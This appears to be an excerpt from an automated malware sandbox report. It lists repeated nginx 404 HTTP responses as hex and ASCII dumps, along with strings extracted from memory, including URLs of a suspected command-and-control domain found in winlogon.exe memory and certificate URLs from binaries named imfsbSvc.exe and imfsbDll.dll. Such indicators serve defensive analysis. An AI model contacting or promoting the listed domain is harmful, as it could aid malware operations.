2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:36 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:42 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:48 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:54 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:24:00 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:24:05 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTP://esh.hoovernamosong.com:80
Source: winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTP://esh.hoovernamosong.com:80=
Source: winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTP://esh.hoovernamosong.com:80a
Source: winlogon.exe, 00000007.00000002.3071184180.0000025DD7CD2000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327252151.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTPS://esh.hoovernamosong.com:443
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTPS://esh.hoovernamosong.com:443OSQ
Source: winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTPS://esh.hoovernamosong.com:443a
Source: winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTPS://esh.hoovernamosong.com:443kSm
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA.crt0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigning-g1.crl03
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigning-g1.crl0K
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
